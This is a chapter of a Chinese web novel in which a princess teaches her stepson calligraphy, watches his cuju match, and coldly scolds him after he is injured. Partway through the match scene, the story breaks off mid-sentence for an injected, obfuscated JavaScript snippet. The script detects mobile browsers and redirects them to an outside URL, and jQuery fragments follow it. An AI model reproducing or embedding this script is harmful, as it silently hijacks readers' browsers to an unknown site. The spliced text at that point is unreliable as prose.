38. 受骂

作品:《二嫁公主

    定远王妃离京这日。


    陆策宣脱不开身,怡安与陆析雨站在门口相送。


    晨曦柔和,天上飘着薄雾,薄雾笼罩着黛瓦,模糊了琅华苑的边际。


    怡安目送着护卫定远王妃离京的车马浩浩荡荡离去。


    她呼出的气息化作白雾,转而望向陆析雨,“先进去吧。”


    说罢,怡安转过身,入府。


    陆析雨落后她半个身位,跟在她身旁。


    “你今日向书院请了一天的假?”


    陆析雨顿了顿,而后答:“半日。”


    怡安挑眉,“怎这样勤勉?半日也休息不得?”


    陆析雨闻言,有些羞赧地解释,“不是的,是书院下午有一场蹴鞠。”


    “原来如此。”怡安颔首,“你也上场吗?”


    “嗯。”陆析雨点头。


    怡安边走边道:“总闷在屋里苦读不是长久之计,春日里偶尔活动筋骨,是好。”


    “母亲教诲得是。”陆析雨垂在袖中的手悄悄收紧,他道,“下午时您若是无事,可以来观赛。”


    怡安将目光移向旁边与她一般高的少年,她思索一二,含笑点头,“你提了,我自是会去的。”


    陆析雨心中一松。


    又听怡安道:“我记得……你是会拳脚的,想来球也应该踢得不错。”


    此言一出,叫陆析雨红了耳朵。


    他的“拳脚”只在怡安面前展示过一次,便是初次在书院相见,他与同窗动手……


    陆析雨抿了抿唇,答:“我在军中常与叔伯们一起踢球。”


    二人边说边走,行至岔路时,怡安问:“你一会儿到哪里去?”


    “去竹鸣院写功课,在那里若遇疑惑,可以请教叔伯们。”陆析雨老实答。


    怡安思量片刻,她道:“左右我眼下也无事,便随你去吧,也瞧瞧你的字练得如何了。”


    -


    竹鸣院西室有文官在处理文书,陆析雨一向是待在他们休憩用的东室。


    怡安环顾一圈,屋内陈设素净,采光极好。


    她寻了个座,坐下。


    陆析雨恭谨地将近日练的字稿奉上,厚厚一打,叠得整齐。


    怡安接过,低头翻看。


    每一页字稿末尾附上了日期,按时间先后排好了序。从日期来看,陆析雨每日至少练上三张字。


    怡安一页一页翻过。


    屋里只余纸张摩擦之声。


    末了。


    怡安抬起头,陆析雨正等着她的批复,她一笑,“写得越发好了。”


    闻言,少年克制着想要上扬的嘴角,眼里还是不自觉流露出喜意。


    陆析雨将沏好的茶奉给怡安,“母亲,用茶。”


    怡安接过,并不急着饮,她道:“你今日的字还未练,现在写吧,我在旁看。”


    “好。”陆析雨正色点头。


    他走至窗台下的书案前,摊开一张生宣,用镇纸压住,提笔蘸墨,落笔书写。


    怡安端着茶盏,慢条斯理地用杯盖刮蹭着杯盏,一边在旁观察陆析雨运笔。


    约莫半柱香的功夫,陆析雨抄写了一首词赋,拿给怡安过目。


    怡安放下茶盏起身,她行至书案旁,道:“我写,你看。”


    “是。”陆析雨自觉伺候起笔墨。


    怡安将袖子挽起两寸,将手腕露出,方便展示运腕。


    “我说,你听。”


    怡安提笔蘸墨,落笔挥毫,她讲得极细,“握笔时,指实、掌虚、腕平、肘悬。”


    “将肩放松,以肘运腕。”


    “行笔时,无往不缩,无垂不收……”


    陆析雨屏息,全神贯注。


    -


    西室那边,钟淡月靠着窗台而坐。


    他听见素日安静的东室似有人声,遂问了句,“这个时辰,是谁在东室?”


    白净秋翻过一页书,“听闻是殿下在教小公子写字。”


    钟淡月不说话了。


    见他如此老实了,白净秋抬眼戏谑,“你可要过去瞧瞧?万一那位殿下意欲加害小公子可怎么好?”


    钟淡月拉着脸瞪他一眼,将窗户关上。


    -


    “可看明白了?”怡安收了笔。


    陆析雨目光落在白纸间怡安留下的那几行字上,神情中不自觉流露出几分痴意,他点头。


    怡安见状莞尔,不自觉便伸手揉了揉少年的头。


    “慢慢练吧。”


    大的揉不得,小的不成问题。


    陆析雨却怔住,他呆愣地抬起手悬在半空,反应过来后又忙放下。


    怡安本欲走开了,陆析雨又叫住她。


    “母亲,能请您帮我做一件事吗?”


    “何事?”


    陆析雨正色道:“我想请您为我写一则铭文,放于座之右侧,时刻自省正身。”


    怡安微诧,“你想叫我为你写一则座右铭?”


    “是。”陆析雨点头。


    怡安垂眸若有所思。


    她应了下后,再次拿起笔,却半晌未落下。


    怡安搁了笔,道:“待我写好了再交给你。”


    -


    下午,奉山书院。


    今日骄阳正好,校场里少年们换下长袍,扎紧了衣袖裤脚,各自活动筋骨、跃跃欲试。


    “你今日专程来看‘儿子’的?”


    怡安与百里若坐在视角极佳的阴凉处,将校场内动向一览无余。


    “他亲自开了口,我怎好不来。”


    “看来你们这对继母与继子相处得不错。”百里若弯了弯唇。


    “他很懂事。”怡安评价。


    百里若点头,“这是好事。”


    怡安只是笑。


    不多时,随着一声哨响,比试开始。双方的人配合着争抢那只在空中飞旋的蹴鞠。


    陆析雨在其中,他年龄小,个子与身形都不占优。


    只见他束着鲜红的抹额,俊秀飞扬,随着不断跑动,额间也跟着泌出细密的汗珠。


    怡安扶着下巴观看。


    脚踏黄土、衣袂翻飞,一只蹴鞠被少年们你来我往地争抢。


    场上踢得十分火热。


    很快,陆析雨的表现便从其中脱颖而出,他的身手矫健,灵活得如一尾入水的鱼,轻易便从旁人脚下夺了球。


    只见陆析雨纵身腾空,以胸接球,跑动间足尖一勾,将球稳住,再是一挑,躲过对手的拦截,接着看准时机,一记飞腿,使球疾射球门。


    这便是一分了。


    “真是漂亮的身手。”怡安远观着夸了句。


    骄阳当空,汗湿少年衣衫,战况也越烈。随着时间流逝,双方比分也逐渐拉开。


    红方这边有陆析雨这名骁将,始终占尽优势。


    蓝方众人意识到后,调整战术,加紧对陆析雨的防守,有意将他逼退,使得陆析雨在之后几个回合皆碰不到球。


    蓝方的战术显然有效,一连扳回数分。


    就在这蓝方又要进一球时,疏于了对陆析雨的防守,少年纵身


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14995943|154258||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一跃突出重围,他横腿斜铲,不顾一切地想要去截球。


    球被踢飞,可那重重的射门一脚踢在了陆析雨的小腿上。


    他跌倒在地,激起千尘。


    “啊!”


    见状,督场的武师急忙吹哨。


    一时场面慌乱。


    众人将陆析雨围起。


    陆析雨倒在地上,小腿的疼痛叫他一时冷汗涔涔。


    他见到众人围着他。


    不多时,人群中又散出一条道。


    他见到了怡安。


    陆析雨枕在武师腿上仰视怡安,她的面容显得遥远,脸上没有多余的表情更叫人觉得难以接近。


    陆析雨唇瓣嗫嚅,想说些什么,最后只低低唤了一声,“母亲……”


    怡安俯看他一眼,对身后的如瑜道:“去替他瞧瞧。”


    “是。”如瑜走上前蹲下,“小公子,你这条腿还能动吗……”


    一番检查后,如瑜道:“应是骨头裂了。”


    陆析雨恍若未闻,只小心翼翼观察怡安神色,想从她面无表情的脸上猜出一两分她的心思。


    只见怡安似是轻叹了一声,睨着陆析雨凉凉地开口,“你在军中踢球也这般鲁莽吗?”


    一句话,便叫陆析雨脸色豁然白了。


    “争强好胜,却不顾后果。莫说这回伤的是你自己,若是伤了同门,这球赢得也没什么好骄傲的了。”


    怡安的语气不算太严厉,只是对一个方受伤的少年来说,显得无情了些……


    百里若闻之也是面露诧异,她轻轻扯了扯怡安的衣摆。


    怡安交代督场武师将陆析雨搬回去,又留下了如瑜随行照料,随后转身离去。


    她走后,剩余的人犯起嘀咕,“说怡安公主跋扈真是半分不假。”


    “都是继母了,继子受伤没有半句关心,上来便是一通骂,这是连装也不装。”


    “陆霖也怪惨,他爹都是陆策宣了,还治不住这强势的公主……”


    陆析雨脸上血色全无,他脑中一阵嗡鸣,回荡在脑海的是怡安薄凉的眼神。


    明明上午时,她教他写字,他们还是那样融洽。


    -


    怡安与百里若走远。


    行至僻静处时,怡安见百里若欲言又止,实在憋得慌,于是好心道:“你想说什么便说吧。”


    “你……毕竟是继母。”百里若长吁一口气,“脾气还是要收着一点。”


    她也没想到,她自己躲过了婚嫁,有朝一日却要为妹妹谋这些家长里短。


    “纵使他真有错,你也不该当众……”


    “他没有错。”怡安道:“只是我想骂他一骂。”


    百里若哑然,半晌才道:“你前下才夸他懂事,为何又要寻着由头骂他?”


    怡安煞有其事地点头,“是懂事,太懂事也该骂。”


    百里若眉毛狠狠一跳,伸手去探怡安的额头。


    怡安笑着躲开了。


    “他太懂事了,明明不缺赞美,仍是‘贪多贪足’,我便赠他一回骂,这叫不破不立。”


    百里若听了仍是摇头,“我也不懂你了。”


    陆析雨无疑被教得很好,懂事、知礼、勤勉、安静……数不尽的好。


    就算他这样好了,却仍对着怡安小心翼翼地讨要座右铭。


    像是在问座右铭,又像是在问怡安想要一个怎么样的孩子。


    就好似她说了,他便要变成那副模样。


    怡安不喜欢,她便亲手打碎了这副“母慈子孝”。